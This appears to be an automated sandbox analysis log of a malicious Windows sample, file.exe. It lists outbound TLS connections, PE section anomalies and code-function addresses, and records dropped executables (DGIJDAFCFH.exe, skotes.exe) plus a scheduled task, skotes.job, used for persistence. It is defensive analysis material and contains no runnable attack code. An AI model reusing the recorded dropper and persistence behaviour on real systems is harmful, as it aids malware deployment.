Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49987 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DGIJDAFCFH.exe.0.dr	Static PE information: section name:
Source: DGIJDAFCFH.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C99B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C99B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C99B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C93F280

Source: C:\Users\user\Documents\DGIJDAFCFH.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9335A0	0_2_6C9335A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C946C80	0_2_6C946C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9934A0	0_2_6C9934A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99C4A0	0_2_6C99C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95D4D0	0_2_6C95D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9464C0	0_2_6C9464C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C976CF0	0_2_6C976CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93D4E0	0_2_6C93D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975C10	0_2_6C975C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C982C10	0_2_6C982C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AAC00	0_2_6C9AAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A542B	0_2_6C9A542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A545C	0_2_6C9A545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C945440	0_2_6C945440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C970DD0	0_2_6C970DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9985F0	0_2_6C9985F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C960512	0_2_6C960512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95ED10	0_2_6C95ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94FD00	0_2_6C94FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C955E90	0_2_6C955E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99E680	0_2_6C99E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C994EA0	0_2_6C994EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93BEF0	0_2_6C93BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94FEF0	0_2_6C94FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A76E3	0_2_6C9A76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C977E10	0_2_6C977E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C985600	0_2_6C985600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C999E30	0_2_6C999E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C959E50	0_2_6C959E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C973E50	0_2_6C973E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C954640	0_2_6C954640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C982E4E	0_2_6C982E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93C670	0_2_6C93C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A6E63	0_2_6C9A6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9877A0	0_2_6C9877A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C966FF0	0_2_6C966FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93DFE0	0_2_6C93DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C977710	0_2_6C977710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C949F00	0_2_6C949F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9660A0	0_2_6C9660A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A50C7	0_2_6C9A50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95C0E0	0_2_6C95C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9758E0	0_2_6C9758E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C947810	0_2_6C947810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97B820	0_2_6C97B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C984820	0_2_6C984820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C958850	0_2_6C958850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95D850	0_2_6C95D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97F070	0_2_6C97F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975190	0_2_6C975190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C992990	0_2_6C992990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96D9B0	0_2_6C96D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93C9A0	0_2_6C93C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95A940	0_2_6C95A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98B970	0_2_6C98B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB170	0_2_6C9AB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94D960	0_2_6C94D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9ABA90	0_2_6C9ABA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94CAB0	0_2_6C94CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A2AB0	0_2_6C9A2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9322A0	0_2_6C9322A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C964AA0	0_2_6C964AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C978AC0	0_2_6C978AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C951AF0	0_2_6C951AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97E2F0	0_2_6C97E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C979A60	0_2_6C979A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C93F380	0_2_6C93F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A53C8	0_2_6C9A53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D320	0_2_6C97D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C935340	0_2_6C935340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C94C370	0_2_6C94C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DECC0	0_2_6C9DECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3ECD0	0_2_6CA3ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABAC30	0_2_6CABAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA6C00	0_2_6CAA6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EAC60	0_2_6C9EAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E4DB0	0_2_6C9E4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA76D90	0_2_6CA76D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6CDC0	0_2_6CB6CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB68D20	0_2_6CB68D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAED70	0_2_6CAAED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0AD50	0_2_6CB0AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA66E90	0_2_6CA66E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EAEC0	0_2_6C9EAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA80EC0	0_2_6CA80EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC0E20	0_2_6CAC0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7EE70	0_2_6CA7EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB28FB0	0_2_6CB28FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EEFB0	0_2_6C9EEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABEFF0	0_2_6CABEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E0FE0	0_2_6C9E0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E6F10	0_2_6C9E6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB20F20	0_2_6CB20F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA2F70	0_2_6CAA2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4EF40	0_2_6CA4EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE68E0	0_2_6CAE68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA30820	0_2_6CA30820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6A820	0_2_6CA6A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB4840	0_2_6CAB4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA709A0	0_2_6CA709A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9A9A0	0_2_6CA9A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA09B0	0_2_6CAA09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFC9E0	0_2_6CAFC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA149F0	0_2_6CA149F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA36900	0_2_6CA36900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA18960	0_2_6CA18960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5EA80	0_2_6CA5EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA98A30	0_2_6CA98A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8EA00	0_2_6CA8EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5CA70	0_2_6CA5CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA80BA0	0_2_6CA80BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE6BE0	0_2_6CAE6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0A480	0_2_6CB0A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA264D0	0_2_6CA264D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7A4D0	0_2_6CA7A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA44420	0_2_6CA44420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6A430	0_2_6CA6A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9F8460	0_2_6C9F8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D45B0	0_2_6C9D45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAA5E0	0_2_6CAAA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6E5F0	0_2_6CA6E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA42560	0_2_6CA42560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA80570	0_2_6CA80570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB28550	0_2_6CB28550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA38540	0_2_6CA38540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE4540	0_2_6CAE4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3E6E0	0_2_6CA3E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7E6E0	0_2_6CA7E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA046D0	0_2_6CA046D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3C650	0_2_6CA3C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0A7D0	0_2_6CA0A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA60700	0_2_6CA60700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D8090	0_2_6C9D8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABC0B0	0_2_6CABC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9F00B0	0_2_6C9F00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAC000	0_2_6CAAC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA8010	0_2_6CAA8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2E070	0_2_6CA2E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E01E0	0_2_6C9E01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA56130	0_2_6CA56130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC4130	0_2_6CAC4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA48140	0_2_6CA48140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB22A0	0_2_6CAB22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAE2B0	0_2_6CAAE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB662C0	0_2_6CB662C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB8220	0_2_6CAB8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAA210	0_2_6CAAA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA68260	0_2_6CA68260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA78250	0_2_6CA78250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA123A0	0_2_6CA123A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3E3B0	0_2_6CA3E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA343E0	0_2_6CA343E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA52320	0_2_6CA52320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB22370	0_2_6CB22370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFC360	0_2_6CAFC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA76370	0_2_6CA76370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E8340	0_2_6C9E8340
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Code function: 14_2_00328860	14_2_00328860
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Code function: 14_2_00327049	14_2_00327049
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Code function: 14_2_003278BB	14_2_003278BB
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Code function: 14_2_003231A8	14_2_003231A8
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Code function: 14_2_002E4B30	14_2_002E4B30
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Code function: 14_2_00322D10	14_2_00322D10
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Code function: 14_2_002E4DE0	14_2_002E4DE0
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Code function: 14_2_00317F36	14_2_00317F36
Source: C:\Users\user\Documents\DGIJDAFCFH.exe	Code function: 14_2_0032779B	14_2_0032779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00B578BB	15_2_00B578BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00B58860	15_2_00B58860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00B57049	15_2_00B57049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00B531A8	15_2_00B531A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00B14B30	15_2_00B14B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00B14DE0	15_2_00B14DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00B52D10	15_2_00B52D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00B5779B	15_2_00B5779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00B47F36	15_2_00B47F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00B578BB	16_2_00B578BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00B58860	16_2_00B58860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00B57049	16_2_00B57049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00B531A8	16_2_00B531A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00B14B30	16_2_00B14B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00B14DE0	16_2_00B14DE0
